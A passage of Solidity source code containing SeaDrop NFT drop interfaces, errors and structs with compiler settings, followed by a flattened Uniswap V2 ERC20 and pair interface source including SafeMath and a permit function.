contract to mint.\n * @param feeRecipient The fee recipient.\n * @param minterIfNotPayer The mint recipient if different than the payer.\n * @param quantity The number of tokens to mint.\n * @param mintParams The mint parameters.\n * @param salt The sale for the signed mint.\n * @param signature The server-side signature, must be an allowed\n * signer.\n */\n function mintSigned(\n address nftContract,\n address feeRecipient,\n address minterIfNotPayer,\n uint256 quantity,\n MintParams calldata mintParams,\n uint256 salt,\n bytes calldata signature\n ) external payable;\n\n /**\n * @notice Mint as an allowed token holder.\n * This will mark the token id as redeemed and will revert if the\n * same token id is attempted to be redeemed twice.\n *\n * @param nftContract The nft contract to mint.\n * @param feeRecipient The fee recipient.\n * @param minterIfNotPayer The mint recipient if different than the payer.\n * @param mintParams The token gated mint params.\n */\n function mintAllowedTokenHolder(\n address nftContract,\n address feeRecipient,\n address minterIfNotPayer,\n TokenGatedMintParams calldata mintParams\n ) external payable;\n\n /**\n * @notice Emits an event to notify update of the drop URI.\n *\n * This method assume msg.sender is an nft contract and its\n * ERC165 interface id matches INonFungibleSeaDropToken.\n *\n * Note: Be sure only authorized users can call this from\n * token contracts that implement INonFungibleSeaDropToken.\n *\n * @param dropURI The new drop URI.\n */\n function updateDropURI(string calldata dropURI) external;\n\n /**\n * @notice Updates the public drop data for the nft contract\n * and emits an event.\n *\n * This method assume msg.sender is an nft contract and its\n * ERC165 interface id matches INonFungibleSeaDropToken.\n *\n * Note: Be sure only authorized users can call this from\n * token contracts that implement INonFungibleSeaDropToken.\n *\n * @param publicDrop The public drop data.\n */\n function updatePublicDrop(PublicDrop calldata publicDrop) external;\n\n /**\n * @notice Updates the allow list merkle root for the nft contract\n * and emits an event.\n *\n * This method assume msg.sender is an nft contract and its\n * ERC165 interface id matches INonFungibleSeaDropToken.\n *\n * Note: Be sure only authorized users can call this from\n * token contracts that implement INonFungibleSeaDropToken.\n *\n * @param allowListData The allow list data.\n */\n function updateAllowList(AllowListData calldata allowListData) external;\n\n /**\n * @notice Updates the token gated drop stage for the nft contract\n * and emits an event.\n *\n * This method assume msg.sender is an nft contract and its\n * ERC165 interface id matches INonFungibleSeaDropToken.\n *\n * Note: Be sure only authorized users can call this from\n * token contracts that implement INonFungibleSeaDropToken.\n *\n * Note: If two INonFungibleSeaDropToken tokens are doing\n * simultaneous token gated drop promotions for each other,\n * they can be minted by the same actor until\n * `maxTokenSupplyForStage` is reached. Please ensure the\n * `allowedNftToken` is not running an active drop during\n * the `dropStage` time period.\n *\n * @param allowedNftToken The token gated nft token.\n * @param dropStage The token gated drop stage data.\n */\n function updateTokenGatedDrop(\n address allowedNftToken,\n TokenGatedDropStage calldata dropStage\n ) external;\n\n /**\n * @notice Updates the creator payout address and emits an event.\n *\n * This method assume msg.sender is an nft contract and its\n * ERC165 interface id matches INonFungibleSeaDropToken.\n *\n * Note: Be sure only authorized users can call this from\n * token contracts that implement INonFungibleSeaDropToken.\n *\n * @param payoutAddress The creator payout address.\n */\n function updateCreatorPayoutAddress(address payoutAddress) external;\n\n /**\n * @notice Updates the allowed fee recipient and emits an event.\n *\n * This method assume msg.sender is an nft contract and its\n * ERC165 interface id matches INonFungibleSeaDropToken.\n *\n * Note: Be sure only authorized users can call this from\n * token contracts that implement INonFungibleSeaDropToken.\n *\n * @param feeRecipient The fee recipient.\n * @param allowed If the fee recipient is allowed.\n */\n function updateAllowedFeeRecipient(address feeRecipient, bool allowed)\n external;\n\n /**\n * @notice Updates the allowed server-side signers and emits an event.\n *\n * This method assume msg.sender is an nft contract and its\n * ERC165 interface id matches INonFungibleSeaDropToken.\n *\n * Note: Be sure only authorized users can call this from\n * token contracts that implement INonFungibleSeaDropToken.\n *\n * @param signer The signer to update.\n * @param signedMintValidationParams Minimum and maximum parameters\n * to enforce for signed mints.\n */\n function updateSignedMintValidationParams(\n address signer,\n SignedMintValidationParams calldata signedMintValidationParams\n ) external;\n\n /**\n * @notice Updates the allowed payer and emits an event.\n *\n * This method assume msg.sender is an nft contract and its\n * ERC165 interface id matches INonFungibleSeaDropToken.\n *\n * Note: Be sure only authorized users can call this from\n * token contracts that implement INonFungibleSeaDropToken.\n *\n * @param payer The payer to add or remove.\n * @param allowed Whether to add or remove the payer.\n */\n function updatePayer(address payer, bool allowed) external;\n\n /**\n * @notice Returns the public drop data for the nft contract.\n *\n * @param nftContract The nft contract.\n */\n function getPublicDrop(address nftContract)\n external\n view\n returns (PublicDrop memory);\n\n /**\n * @notice Returns the creator payout address for the nft contract.\n *\n * @param nftContract The nft contract.\n */\n function getCreatorPayoutAddress(address nftContract)\n external\n view\n returns (address);\n\n /**\n * @notice Returns the allow list merkle root for the nft contract.\n *\n * @param nftContract The nft contract.\n */\n function getAllowListMerkleRoot(address nftContract)\n external\n view\n returns (bytes32);\n\n /**\n * @notice Returns if the specified fee recipient is allowed\n * for the nft contract.\n *\n * @param nftContract The nft contract.\n * @param feeRecipient The fee recipient.\n */\n function getFeeRecipientIsAllowed(address nftContract, address feeRecipient)\n external\n view\n returns (bool);\n\n /**\n * @notice Returns an enumeration of allowed fee recipients for an\n * nft contract when fee recipients are enforced\n *\n * @param nftContract The nft contract.\n */\n function getAllowedFeeRecipients(address nftContract)\n external\n view\n returns (address[] memory);\n\n /**\n * @notice Returns the server-side signers for the nft contract.\n *\n * @param nftContract The nft contract.\n */\n function getSigners(address nftContract)\n external\n view\n returns (address[] memory);\n\n /**\n * @notice Returns the struct of SignedMintValidationParams for a signer.\n *\n * @param nftContract The nft contract.\n * @param signer The signer.\n */\n function getSignedMintValidationParams(address nftContract, address signer)\n external\n view\n returns (SignedMintValidationParams memory);\n\n /**\n * @notice Returns the payers for the nft contract.\n *\n * @param nftContract The nft contract.\n */\n function getPayers(address nftContract)\n external\n view\n returns (address[] memory);\n\n /**\n * @notice Returns if the specified payer is allowed\n * for the nft contract.\n *\n * @param nftContract The nft contract.\n * @param payer The payer.\n */\n function getPayerIsAllowed(address nftContract, address payer)\n external\n view\n returns (bool);\n\n /**\n * @notice Returns the allowed token gated drop tokens for the nft contract.\n *\n * @param nftContract The nft contract.\n */\n function getTokenGatedAllowedTokens(address nftContract)\n external\n view\n returns (address[] memory);\n\n /**\n * @notice Returns the token gated drop data for the nft contract\n * and token gated nft.\n *\n * @param nftContract The nft contract.\n * @param allowedNftToken The token gated nft token.\n */\n function getTokenGatedDrop(address nftContract, address allowedNftToken)\n external\n view\n returns (TokenGatedDropStage memory);\n\n /**\n * @notice Returns whether the token id for a token gated drop has been\n * redeemed.\n *\n * @param nftContract The nft contract.\n * @param allowedNftToken The token gated nft token.\n * @param allowedNftTokenId The token gated nft token id to check.\n */\n function getAllowedNftTokenIdIsRedeemed(\n address nftContract,\n address allowedNftToken,\n uint256 allowedNftTokenId\n ) external view returns (bool);\n}\n"
},
"src/interfaces/ISeaDropTokenContractMetadata.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.17;\n\nimport { IERC2981 } from \"openzeppelin-contracts/interfaces/IERC2981.sol\";\n\ninterface ISeaDropTokenContractMetadata is IERC2981 {\n /**\n * @notice Throw if the max supply exceeds uint64, a limit\n * due to the storage of bit-packed variables in ERC721A.\n */\n error CannotExceedMaxSupplyOfUint64(uint256 newMaxSupply);\n\n /**\n * @dev Revert with an error when attempting to set the provenance\n * hash after the mint has started.\n */\n error ProvenanceHashCannotBeSetAfterMintStarted();\n\n /**\n * @dev Revert if the royalty basis points is greater than 10_000.\n */\n error InvalidRoyaltyBasisPoints(uint256 basisPoints);\n\n /**\n * @dev Revert if the royalty address is being set to the zero address.\n */\n error RoyaltyAddressCannotBeZeroAddress();\n\n /**\n * @dev Emit an event for token metadata reveals/updates,\n * according to EIP-4906.\n *\n * @param _fromTokenId The start token id.\n * @param _toTokenId The end token id.\n */\n event BatchMetadataUpdate(uint256 _fromTokenId, uint256 _toTokenId);\n\n /**\n * @dev Emit an event when the URI for the collection-level metadata\n * is updated.\n */\n event ContractURIUpdated(string newContractURI);\n\n /**\n * @dev Emit an event when the max token supply is updated.\n */\n event MaxSupplyUpdated(uint256 newMaxSupply);\n\n /**\n * @dev Emit an event with the previous and new provenance hash after\n * being updated.\n */\n event ProvenanceHashUpdated(bytes32 previousHash, bytes32 newHash);\n\n /**\n * @dev Emit an event when the royalties info is updated.\n */\n event RoyaltyInfoUpdated(address receiver, uint256 bps);\n\n /**\n * @notice A struct defining royalty info for the contract.\n */\n struct RoyaltyInfo {\n address royaltyAddress;\n uint96 royaltyBps;\n }\n\n /**\n * @notice Sets the base URI for the token metadata and emits an event.\n *\n * @param tokenURI The new base URI to set.\n */\n function setBaseURI(string calldata tokenURI) external;\n\n /**\n * @notice Sets the contract URI for contract metadata.\n *\n * @param newContractURI The new contract URI.\n */\n function setContractURI(string calldata newContractURI) external;\n\n /**\n * @notice Sets the max supply and emits an event.\n *\n * @param newMaxSupply The new max supply to set.\n */\n function setMaxSupply(uint256 newMaxSupply) external;\n\n /**\n * @notice Sets the provenance hash and emits an event.\n *\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it has not been\n * modified after mint started.\n *\n * This function will revert after the first item has been minted.\n *\n * @param newProvenanceHash The new provenance hash to set.\n */\n function setProvenanceHash(bytes32 newProvenanceHash) external;\n\n /**\n * @notice Sets the address and basis points for royalties.\n *\n * @param newInfo The struct to configure royalties.\n */\n function setRoyaltyInfo(RoyaltyInfo calldata newInfo) external;\n\n /**\n * @notice Returns the base URI for token metadata.\n */\n function baseURI() external view returns (string memory);\n\n /**\n * @notice Returns the contract URI.\n */\n function contractURI() external view returns (string memory);\n\n /**\n * @notice Returns the max token supply.\n */\n function maxSupply() external view returns (uint256);\n\n /**\n * @notice Returns the provenance hash.\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it is unmodified\n * after mint has started.\n */\n function provenanceHash() external view returns (bytes32);\n\n /**\n * @notice Returns the address that receives royalties.\n */\n function royaltyAddress() external view returns (address);\n\n /**\n * @notice Returns the royalty basis points out of 10_000.\n */\n function royaltyBasisPoints() external view returns (uint256);\n}\n"
},
"src/lib/ERC721SeaDropStructsErrorsAndEvents.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.17;\n\nimport {\n AllowListData,\n PublicDrop,\n SignedMintValidationParams,\n TokenGatedDropStage\n} from \"./SeaDropStructs.sol\";\n\ninterface ERC721SeaDropStructsErrorsAndEvents {\n /**\n * @notice Revert with an error if mint exceeds the max supply.\n */\n error MintQuantityExceedsMaxSupply(uint256 total, uint256 maxSupply);\n\n /**\n * @notice Revert with an error if the number of token gated \n * allowedNftTokens doesn't match the length of supplied\n * drop stages.\n */\n error TokenGatedMismatch();\n\n /**\n * @notice Revert with an error if the number of signers doesn't match\n * the length of supplied signedMintValidationParams\n */\n error SignersMismatch();\n\n /**\n * @notice An event to signify that a SeaDrop token contract was deployed.\n */\n event SeaDropTokenDeployed();\n\n /**\n * @notice A struct to configure multiple contract options at a time.\n */\n struct MultiConfigureStruct {\n uint256 maxSupply;\n string baseURI;\n string contractURI;\n address seaDropImpl;\n PublicDrop publicDrop;\n string dropURI;\n AllowListData allowListData;\n address creatorPayoutAddress;\n bytes32 provenanceHash;\n\n address[] allowedFeeRecipients;\n address[] disallowedFeeRecipients;\n\n address[] allowedPayers;\n address[] disallowedPayers;\n\n // Token-gated\n address[] tokenGatedAllowedNftTokens;\n TokenGatedDropStage[] tokenGatedDropStages;\n address[] disallowedTokenGatedAllowedNftTokens;\n\n // Server-signed\n address[] signers;\n SignedMintValidationParams[] signedMintValidationParams;\n address[] disallowedSigners;\n }\n}"
},
"src/lib/SeaDropErrorsAndEvents.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.17;\n\nimport { PublicDrop, TokenGatedDropStage, SignedMintValidationParams } from \"./SeaDropStructs.sol\";\n\ninterface SeaDropErrorsAndEvents {\n /**\n * @dev Revert with an error if the drop stage is not active.\n */\n error NotActive(\n uint256 currentTimestamp,\n uint256 startTimestamp,\n uint256 endTimestamp\n );\n\n /**\n * @dev Revert with an error if the mint quantity is zero.\n */\n error MintQuantityCannotBeZero();\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the max allowed\n * to be minted per wallet.\n */\n error MintQuantityExceedsMaxMintedPerWallet(uint256 total, uint256 allowed);\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the max token\n * supply.\n */\n error MintQuantityExceedsMaxSupply(uint256 total, uint256 maxSupply);\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the max token\n * supply for the stage.\n * Note: The `maxTokenSupplyForStage` for public mint is\n * always `type(uint).max`.\n */\n error MintQuantityExceedsMaxTokenSupplyForStage(\n uint256 total, \n uint256 maxTokenSupplyForStage\n );\n \n /**\n * @dev Revert if the fee recipient is the zero address.\n */\n error FeeRecipientCannotBeZeroAddress();\n\n /**\n * @dev Revert if the fee recipient is not already included.\n */\n error FeeRecipientNotPresent();\n\n /**\n * @dev Revert if the fee basis points is greater than 10_000.\n */\n error InvalidFeeBps(uint256 feeBps);\n\n /**\n * @dev Revert if the fee recipient is already included.\n */\n error DuplicateFeeRecipient();\n\n /**\n * @dev Revert if the fee recipient is restricted and not allowed.\n */\n error FeeRecipientNotAllowed();\n\n /**\n * @dev Revert if the creator payout address is the zero address.\n */\n error CreatorPayoutAddressCannotBeZeroAddress();\n\n /**\n * @dev Revert with an error if the received payment is incorrect.\n */\n error IncorrectPayment(uint256 got, uint256 want);\n\n /**\n * @dev Revert with an error if the allow list proof is invalid.\n */\n error InvalidProof();\n\n /**\n * @dev Revert if a supplied signer address is the zero address.\n */\n error SignerCannotBeZeroAddress();\n\n /**\n * @dev Revert with an error if signer's signature is invalid.\n */\n error InvalidSignature(address recoveredSigner);\n\n /**\n * @dev Revert with an error if a signer is not included in\n * the enumeration when removing.\n */\n error SignerNotPresent();\n\n /**\n * @dev Revert with an error if a payer is not included in\n * the enumeration when removing.\n */\n error PayerNotPresent();\n\n /**\n * @dev Revert with an error if a payer is already included in mapping\n * when adding.\n * Note: only applies when adding a single payer, as duplicates in\n * enumeration can be removed with updatePayer.\n */\n error DuplicatePayer();\n\n /**\n * @dev Revert with an error if the payer is not allowed. The minter must\n * pay for their own mint.\n */\n error PayerNotAllowed();\n\n /**\n * @dev Revert if a supplied payer address is the zero address.\n */\n error PayerCannotBeZeroAddress();\n\n /**\n * @dev Revert with an error if the sender does not\n * match the INonFungibleSeaDropToken interface.\n */\n error OnlyINonFungibleSeaDropToken(address sender);\n\n /**\n * @dev Revert with an error if the sender of a token gated supplied\n * drop stage redeem is not the owner of the token.\n */\n error TokenGatedNotTokenOwner(\n address nftContract,\n address allowedNftToken,\n uint256 allowedNftTokenId\n );\n\n /**\n * @dev Revert with an error if the token id has already been used to\n * redeem a token gated drop stage.\n */\n error TokenGatedTokenIdAlreadyRedeemed(\n address nftContract,\n address allowedNftToken,\n uint256 allowedNftTokenId\n );\n\n /**\n * @dev Revert with an error if an empty TokenGatedDropStage is provided\n * for an already-empty TokenGatedDropStage.\n */\n error TokenGatedDropStageNotPresent();\n\n /**\n * @dev Revert with an error if an allowedNftToken is set to\n * the zero address.\n */\n error TokenGatedDropAllowedNftTokenCannotBeZeroAddress();\n\n /**\n * @dev Revert with an error if an allowedNftToken is set to\n * the drop token itself.\n */\n error TokenGatedDropAllowedNftTokenCannotBeDropToken();\n\n\n /**\n * @dev Revert with an error if supplied signed mint price is less than\n * the minimum specified.\n */\n error InvalidSignedMintPrice(uint256 got, uint256 minimum);\n\n /**\n * @dev Revert with an error if supplied signed maxTotalMintableByWallet\n * is greater than the maximum specified.\n */\n error InvalidSignedMaxTotalMintableByWallet(uint256 got, uint256 maximum);\n\n /**\n * @dev Revert with an error if supplied signed start time is less than\n * the minimum specified.\n */\n error InvalidSignedStartTime(uint256 got, uint256 minimum);\n \n /**\n * @dev Revert with an error if supplied signed end time is greater than\n * the maximum specified.\n */\n error InvalidSignedEndTime(uint256 got, uint256 maximum);\n\n /**\n * @dev Revert with an error if supplied signed maxTokenSupplyForStage\n * is greater than the maximum specified.\n */\n error InvalidSignedMaxTokenSupplyForStage(uint256 got, uint256 maximum);\n \n /**\n * @dev Revert with an error if supplied signed feeBps is greater than\n * the maximum specified, or less than the minimum.\n */\n error InvalidSignedFeeBps(uint256 got, uint256 minimumOrMaximum);\n\n /**\n * @dev Revert with an error if signed mint did not specify to restrict\n * fee recipients.\n */\n error SignedMintsMustRestrictFeeRecipients();\n\n /**\n * @dev Revert with an error if a signature for a signed mint has already\n * been used.\n */\n error SignatureAlreadyUsed();\n\n /**\n * @dev An event with details of a SeaDrop mint, for analytical purposes.\n * \n * @param nftContract The nft contract.\n * @param minter The mint recipient.\n * @param feeRecipient The fee recipient.\n * @param payer The address who payed for the tx.\n * @param quantityMinted The number of tokens minted.\n * @param unitMintPrice The amount paid for each token.\n * @param feeBps The fee out of 10_000 basis points collected.\n * @param dropStageIndex The drop stage index. Items minted\n * through mintPublic() have\n * dropStageIndex of 0.\n */\n event SeaDropMint(\n address indexed nftContract,\n address indexed minter,\n address indexed feeRecipient,\n address payer,\n uint256 quantityMinted,\n uint256 unitMintPrice,\n uint256 feeBps,\n uint256 dropStageIndex\n );\n\n /**\n * @dev An event with updated public drop data for an nft contract.\n */\n event PublicDropUpdated(\n address indexed nftContract,\n PublicDrop publicDrop\n );\n\n /**\n * @dev An event with updated token gated drop stage data\n * for an nft contract.\n */\n event TokenGatedDropStageUpdated(\n address indexed nftContract,\n address indexed allowedNftToken,\n TokenGatedDropStage dropStage\n );\n\n /**\n * @dev An event with updated allow list data for an nft contract.\n * \n * @param nftContract The nft contract.\n * @param previousMerkleRoot The previous allow list merkle root.\n * @param newMerkleRoot The new allow list merkle root.\n * @param publicKeyURI If the allow list is encrypted, the public key\n * URIs that can decrypt the list.\n * Empty if unencrypted.\n * @param allowListURI The URI for the allow list.\n */\n event AllowListUpdated(\n address indexed nftContract,\n bytes32 indexed previousMerkleRoot,\n bytes32 indexed newMerkleRoot,\n string[] publicKeyURI,\n string allowListURI\n );\n\n /**\n * @dev An event with updated drop URI for an nft contract.\n */\n event DropURIUpdated(address indexed nftContract, string newDropURI);\n\n /**\n * @dev An event with the updated creator payout address for an nft\n * contract.\n */\n event CreatorPayoutAddressUpdated(\n address indexed nftContract,\n address indexed newPayoutAddress\n );\n\n /**\n * @dev An event with the updated allowed fee recipient for an nft\n * contract.\n */\n event AllowedFeeRecipientUpdated(\n address indexed nftContract,\n address indexed feeRecipient,\n bool indexed allowed\n );\n\n /**\n * @dev An event with the updated validation parameters for server-side\n * signers.\n */\n event SignedMintValidationParamsUpdated(\n address indexed nftContract,\n address indexed signer,\n SignedMintValidationParams signedMintValidationParams\n ); \n\n /**\n * @dev An event with the updated payer for an nft contract.\n */\n event PayerUpdated(\n address indexed nftContract,\n address indexed payer,\n bool indexed allowed\n );\n}\n"
},
"src/lib/SeaDropStructs.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.17;\n\n/**\n * @notice A struct defining public drop data.\n * Designed to fit efficiently in one storage slot.\n * \n * @param mintPrice The mint price per token. (Up to 1.2m\n * of native token, e.g. ETH, MATIC)\n * @param startTime The start time, ensure this is not zero.\n * @param endTIme The end time, ensure this is not zero.\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed. (The limit for this field is\n * 2^16 - 1)\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n */\nstruct PublicDrop {\n uint80 mintPrice; // 80/256 bits\n uint48 startTime; // 128/256 bits\n uint48 endTime; // 176/256 bits\n uint16 maxTotalMintableByWallet; // 224/256 bits\n uint16 feeBps; // 240/256 bits\n bool restrictFeeRecipients; // 248/256 bits\n}\n\n/**\n * @notice A struct defining token gated drop stage data.\n * Designed to fit efficiently in one storage slot.\n * \n * @param mintPrice The mint price per token. (Up to 1.2m \n * of native token, e.g.: ETH, MATIC)\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed. (The limit for this field is\n * 2^16 - 1)\n * @param startTime The start time, ensure this is not zero.\n * @param endTime The end time, ensure this is not zero.\n * @param dropStageIndex The drop stage index to emit with the event\n * for analytical purposes. This should be \n * non-zero since the public mint emits\n * with index zero.\n * @param maxTokenSupplyForStage The limit of token supply this stage can\n * mint within. (The limit for this field is\n * 2^16 - 1)\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n */\nstruct TokenGatedDropStage {\n uint80 mintPrice; // 80/256 bits\n uint16 maxTotalMintableByWallet; // 96/256 bits\n uint48 startTime; // 144/256 bits\n uint48 endTime; // 192/256 bits\n uint8 dropStageIndex; // non-zero. 200/256 bits\n uint32 maxTokenSupplyForStage; // 232/256 bits\n uint16 feeBps; // 248/256 bits\n bool restrictFeeRecipients; // 256/256 bits\n}\n\n/**\n * @notice A struct defining mint params for an allow list.\n * An allow list leaf will be composed of `msg.sender` and\n * the following params.\n * \n * Note: Since feeBps is encoded in the leaf, backend should ensure\n * that feeBps is acceptable before generating a proof.\n * \n * @param mintPrice The mint price per token.\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed.\n * @param startTime The start time, ensure this is not zero.\n * @param endTime The end time, ensure this is not zero.\n * @param dropStageIndex The drop stage index to emit with the event\n * for analytical purposes. This should be\n * non-zero since the public mint emits with\n * index zero.\n * @param maxTokenSupplyForStage The limit of token supply this stage can\n * mint within.\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n */\nstruct MintParams {\n uint256 mintPrice; \n uint256 maxTotalMintableByWallet;\n uint256 startTime;\n uint256 endTime;\n uint256 dropStageIndex; // non-zero\n uint256 maxTokenSupplyForStage;\n uint256 feeBps;\n bool restrictFeeRecipients;\n}\n\n/**\n * @notice A struct defining token gated mint params.\n * \n * @param allowedNftToken The allowed nft token contract address.\n * @param allowedNftTokenIds The token ids to redeem.\n */\nstruct TokenGatedMintParams {\n address allowedNftToken;\n uint256[] allowedNftTokenIds;\n}\n\n/**\n * @notice A struct defining allow list data (for minting an allow list).\n * \n * @param merkleRoot The merkle root for the allow list.\n * @param publicKeyURIs If the allowListURI is encrypted, a list of URIs\n * pointing to the public keys. Empty if unencrypted.\n * @param allowListURI The URI for the allow list.\n */\nstruct AllowListData {\n bytes32 merkleRoot;\n string[] publicKeyURIs;\n string allowListURI;\n}\n\n/**\n * @notice A struct defining minimum and maximum parameters to validate for \n * signed mints, to minimize negative effects of a compromised signer.\n *\n * @param minMintPrice The minimum mint price allowed.\n * @param maxMaxTotalMintableByWallet The maximum total number of mints allowed\n * by a wallet.\n * @param minStartTime The minimum start time allowed.\n * @param maxEndTime The maximum end time allowed.\n * @param maxMaxTokenSupplyForStage The maximum token supply allowed.\n * @param minFeeBps The minimum fee allowed.\n * @param maxFeeBps The maximum fee allowed.\n */\nstruct SignedMintValidationParams {\n uint80 minMintPrice; // 80/256 bits\n uint24 maxMaxTotalMintableByWallet; // 104/256 bits\n uint40 minStartTime; // 144/256 bits\n uint40 maxEndTime; // 184/256 bits\n uint40 maxMaxTokenSupplyForStage; // 224/256 bits\n uint16 minFeeBps; // 240/256 bits\n uint16 maxFeeBps; // 256/256 bits\n}"
}
},
"settings": {
"remappings": [
"ERC721A-Upgradeable/=lib/ERC721A-Upgradeable/contracts/",
"ERC721A/=lib/ERC721A/contracts/",
"create2-helpers/=lib/create2-helpers/src/",
"create2-scripts/=lib/create2-helpers/script/",
"ds-test/=lib/ds-test/src/",
"erc4626-tests/=lib/operator-filter-registry/lib/openzeppelin-contracts/lib/erc4626-tests/",
"forge-std/=lib/forge-std/src/",
"murky/=lib/murky/src/",
"openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/",
"openzeppelin-contracts/=lib/openzeppelin-contracts/contracts/",
"operator-filter-registry/=lib/operator-filter-registry/src/",
"seadrop/=src/",
"solmate/=lib/solmate/src/",
"utility-contracts/=lib/utility-contracts/src/"
],
"optimizer": {
"enabled": true,
"runs": 1000000
},
"metadata": {
"bytecodeHash": "none"
},
"outputSelection": {
"*": {
"*": [
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"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"evmVersion": "london",
"libraries": {}
}
}}
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// File: contracts/interfaces/IUniswapV2Pair.sol
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File: contracts/interfaces/IUniswapV2ERC20.sol
pragma solidity >=0.5.0;
interface IUniswapV2ERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
// File: contracts/libraries/SafeMath.sol
pragma solidity =0.5.16;
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
// File: contracts/UniswapV2ERC20.sol
pragma solidity =0.5.16;
contract UniswapV2ERC20 is IUniswapV2ERC20 {
using SafeMath for uint;
string public constant name = 'Uniswap V2';
string public constant symbol = 'UNI-V2';
uint8 public constant decimals = 18;
uint public totalSupply;
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
constructor() public {
uint chainId;
assembly {
chainId := chainid
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)
)
);
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external returns (bool) {
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'UniswapV2: EXPIRED');
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
}
// File: contracts/libraries/Math.sol
pragma solidity =0.5.16;
